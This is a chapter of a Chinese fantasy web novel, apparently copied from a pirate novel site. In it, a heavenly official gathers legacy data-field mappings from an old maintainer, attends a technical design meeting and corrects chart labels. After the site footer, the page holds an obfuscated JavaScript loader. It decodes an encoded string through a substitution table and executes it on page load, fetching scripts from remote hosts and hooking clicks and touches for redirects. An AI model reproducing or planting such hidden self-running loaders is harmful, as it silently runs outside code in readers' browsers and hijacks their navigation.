第一卷《八万亿》第二十四章
第一卷《八万亿》第二十四章(第1/2页)
第一卷《八万亿》第二十四章
编委会初审通过的第二天,姜勃鑫收到了技术处关于详细设计对接的正式确认函。钱玄同在确认函中指定了一个七人工作组,其中包括两名系统架构师、三名接口开发人员和两名测试专员。工作组将于本周五上午在南天门值房旁边的临时会议室召开首次对接会,讨论减量操作层的具体架构设计。确认函的末尾用较小的字体附加了一行备注:“详细设计的核心框架与技术处初稿基本一致,但实际开发中可能遇到戊寅年系统底层代码的结构性限制。建议在首次对接会之前与功德司旧系统的运维人员进行一次前置沟通,以确认数据接口的兼容性。”
姜勃鑫读完确认函后注意到最后那行备注——功德司旧系统的运维人员需要前置沟通。他在功德司的旧系统里没有直接对接过任何运维人员,但父亲姜坤在功德司做过数据管理,对旧系统的运维架构可能还有一些记忆。
当天下午他在后勤柜旁边找到了父亲,把确认函的那行备注给他看。姜坤俯身看了一眼备注内容,然后站直。“功德司旧系统的运维人员目前是由一个叫许长庚的仙官负责。他还在功德司,平时不常出系统维护区,但我知道他有固定的值班窗口——每天酉时初到戌时初,他会去功德司旧机房里做一次系统检查。如果你明天酉时去找他,时间上能碰到。”
“许长庚。我直接去找他需要预约吗?”
“功德司旧机房的访问权限归属比较复杂——名义上归功德司所有,但日常维护由技术处代管。你的金仙箓权限覆盖了技术处的部分访问范围,所以应该能直接进机房区域。”
第二天酉时初,姜勃鑫出现在功德司旧机房的门口。机房位于功德司办公楼的地下二层,入口是一扇灰绿色的铁门,门侧的智能面板显示“维护时段·酉时至戌时”。他用金仙箓刷了一下面板,门锁弹开了。机房内部比外面看起来要宽,几排旧式机柜沿墙排列,大多数指示灯都亮着,只有个别灯位暗着。机柜之间的通道尽头有一张旧木桌,桌前坐着一个面容瘦削的老年仙官,手里握着一枚正在发光的数据盘,正在低头检查盘面上的读数。那人抬头看到有人进来,略略怔了一下。
“我是张姜勃鑫。技术处那边正在对接减量操作层的设计工作,需要确认功德司旧系统与操作层之间的接口兼容性。听说您这边对旧系统的架构最了解。”
“技术处的人刚才给我递过一份消息。你说的那个减量操作层——是在现有系统上层加装的一个新模块,需要调用功德司旧系统的历史数据作为判定依据。”许长庚把数据盘放在桌面上,“旧系统的数据接口格式跟现在的系统不完全一致——操作层要调用的数据,历史版本中有些字段的命名方式已经换过了。”
“换过了多少?是全部换了还是只有部分字段变了?”
“基础结构字段没变,但扩展字段换过两次标签。”许长庚伸手在数据盘上划了几下,调出一份字段对照表,“比如‘减量理由’这个字段,戊寅年版本的标签是‘裁撤类型’,天历庚辰年改成了‘缩减原因’,现在的系统里它叫‘编制调整依据’。如果你直接调用戊寅年格式的字段名,操作层可能读不到数据。”
姜勃鑫看向那份对照表,上面大约有二十多个字段,每个字段都标注了从戊寅年到现在经历过的名称变更。如果操作层直接调用旧字段名,系统将无法读取对应的数据。解决的方法是让操作层调用一套“中间映射表”,把旧字段名转换成现在系统能识别的标签。而中间映射表本身需要有人维护。
“中间映射表目前有人维护吗?”
“以前有。后来数据迁移之后维护就停了,现在的维护责任归属不完全明确。如果你需要操作层调用旧字段数据,需要先重新激活中间映射表的维护机制,或者让技术处在操作层里直接内置一套字段名转换规则。”
“内置转换规则——需要把戊寅年到现在所有版本的数据字段名都确认一遍才能写规则。许大人,您对戊寅年以来的所有版本变更都清楚吗?”
“我做过大约四十年旧系统维护,字段变更记录大部分都记在机房里。你带空白玉简了吗?我可以把旧系统的字段变更时间轴复制一份给你。”
姜勃鑫递过去一枚空白玉简。许长庚接过去,在木桌上的设备槽里插好,操作了几步。玉简表面陆续浮现出一行行时间轴条目,记录了戊寅年以来所有发生过变更的旧系统字段。字段名变更的完整时间轴被完整记录在那枚玉简上了,操作层调用旧字段数据时直接使用这组映射表作为中间层转换依据。
“这份时间轴可以复制一份到技术处的共享区,作为字段映射设计的基础参考。”
“我会复制一份给技术处。”姜勃鑫把玉简收好,“还有一件事——旧系统的减量操作历史记录存放在哪个位置?”
许长庚的目光略微向侧面偏了一下。“旧系统没有集中的‘减量操作历史记录’区域。所有减量操作相关的记录都散落在各部门的独立条目中,没有统一归档过。这就是为什么很多减量建议在编制优化办系统里都会显示为‘数据不足’——不是数据不存在,是数据没有被集中到同一个位置。”
“如果我想把散落的减量操作记录集中归档,需要从哪里开始?”
“功德司旧系统的存档区里有一份‘编制调整记录索引’,覆盖了大部分部门的减量操作条目。但那份索引本身用的是戊寅年的字段名格式,现有的检索系统读不出它的内容。你需要先把那部分数据导出一次,然后再做格式转换。”
“那份索引我可以直接从功德司旧系统里调取吗?还是需要走功德司内部的审批?”
(本章未完,请点击下一页继续阅读)第一卷《八万亿》第二十四章(第2/2页)
“索引本身在功德司内部的旧系统里,但访问权限归属在技术处下面。你的金仙箓权限可以覆盖技术处的访问范围,所以不需要单独审批。”
姜勃鑫离开了功德司旧机房时,天色已经暗了大半。他握着那枚装有字段变更时间轴的玉简走回南天门。金色底光持续地在三号门方向亮着,亮度与平时接近。他在值房门口把玉简里的内容复制了一份到技术处的共享区,然后发了一条消息给钱玄同:“功德司旧系统的字段变更时间轴已获取,存进了技术处共享区。另外发现旧系统没有集中的减量操作记录区域——所有条目散落在各部门独立条目中。但功德司存档区有一份戊寅年版‘编制调整记录索引’覆盖了大部分部门的减量条目,需要先导出再做格式转换。我的金仙箓权限可以访问那份索引。”
钱玄同的回复大约在一小时后到达:“索引的导出操作周五对接会上一起处理,我让技术处的接口开发人员带一份戊寅年版的解码工具。”
周五上午的首次对接会从卯时三刻持续到巳时正。七人工作组和技术处相关人员对减量操作层的架构框架做了逐项确认,把字段名称转换规则和旧索引的导出流程排进了前两周的工作日程。姜勃鑫在对接会上主要承担了“旧系统数据结构说明”的角色,需要向工作组解释戊寅年版索引中某些字段的实际含义与当前系统之间的对应关系。会议结束时工作组确认了第一周的具体任务分工,约定下周一提交各自模块的进展报告,下周五汇总。
会后他走出临时会议室时,看到哪吒正靠在走廊的墙上等他,手里握着那枚执勤记录玉简。“技术处的对接会开了多久?”
“开了将近一个时辰。”姜勃鑫说,“你这边有事?”
“我爸那边——他说今天下午有空,你之前的PPT版本他很满意,想请你亲自去他办公室一趟,把最后的排版和图示细节当面过一遍。”
“我今天下午有时间。你告诉他我未时三刻过去。”
下午未时三刻,姜勃鑫走进了李靖在天宫北侧的一座办公室。室内比他预想的整洁一些,桌上的文件排列得整整齐齐,文件之间的间隔是均匀的。李靖坐在桌后,桌上摊着一枚打开的玉简。看到姜勃鑫进来,他用手指敲了一下桌面,示意他坐下。“PPT的结构和数据逻辑没有问题,但有两张图表的数据来源引用标注不够清晰。我问了技术处的人,他们说其中一组数据是南天门快速通道优化前的通行记录,但图表上没有注明提取日期,容易让人误以为是当前的数据。我需要你帮我修正一下两处标注的准确性。”
“我在投影文件里加一行注释说明这组数据的时间范围,然后在图表底部标一句‘数据取自优化前同期’。”
“改完之后发我一份最终版。”
“今晚发。”
姜勃鑫在办公室内停留了大约一炷香的时间,把两处数据来源标注做了修正,然后向李靖确认了修改内容。李靖看了一遍修正后的格式,点了点头,之后没有再多说什么。姜勃鑫起身告辞,走出办公室后沿着云路向南天门方向走了一段。他在路上经过后勤仓库门口时看到父亲正在仓库门口整理一摞物资单,他没有停步,只是继续朝值房的方向走了过去。
回到值房后他打开终端,把李靖PPT中修正后的版本保存为最终版发回给了李靖,然后打开了债务重组方案的执行阶段跟踪表,在表头的“技术对接阶段”行下方加了一行备注:“功德司旧系统索引导出计划已确认。字段映射规则设计由技术处负责。首期交付时间:下周五。”
当天晚上回到公寓后,他在桌边坐了一会儿,拿出一张空白纸,把当前五条任务线用简短的句子抄了下来:“编委会初审通过。技术处详细设计对接启动。减量操作层架构框架已确认。功德司旧系统字段映射与索引导出正在推进。快速通道数据持续稳定。”他写完最后一行,在纸的底部画了一条横线,然后把纸折好放进了桌面抽屉。金色底光持续亮着,亮度稳定。他在那片光中坐了几分钟,然后站起来走进卧室躺下了。
接下来的一周在技术处对接工作的推进中逐渐展开。周一姜勃鑫参加了技术处的内部进度会议,确认了字段转换规则的第一版草稿已经完成;周三他去功德司旧机房许长庚那里取了一份旧系统索引的样本数据,带回来让技术处做解码测试;周四解码测试的结果显示戊寅年版索引的约六成可以正常读取,剩余四成需要专门做一次格式补丁;周五的汇总会议上技术处提交了第一份正式进展报告,附带了字段转换规则的初版文件和测试结果数据。他把那份报告收进自己的进度文件夹,与技术处对接的前两周目标已经全部完成。
那层金色底光在视野深处持续亮着,没有变化。他合上进度文件夹,站起来关掉了值房的灯,走出值房,穿过南天门牌楼。他走回公寓时夜色正笼罩着城市,远处的写字楼灯火在暗色的天际线上排列成一串光点。他在公寓门口停了一下,抬头看了一眼天空中稀疏的星光和云层边缘若有若无的金色光晕——不是金色底光,那是城市的灯光的反射。金色底光在他视野深处持续亮着,亮度没有波动,位置没有偏移。
他推门走进公寓,在桌边坐下来,拉开抽屉,翻开那本旧笔记本的扉页,在“技术对接阶段”的条目下面画了一道横线,然后在横线下方加了一行新字:“首期技术交付完成。下阶段:减量操作层功能测试准备。”他写完后合上笔记本,放回抽屉,然后关灯走进了卧室。金色底光在他闭合的眼睑后面持续亮着,亮度稳定,方向恒定。
第一卷第二十四章完
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();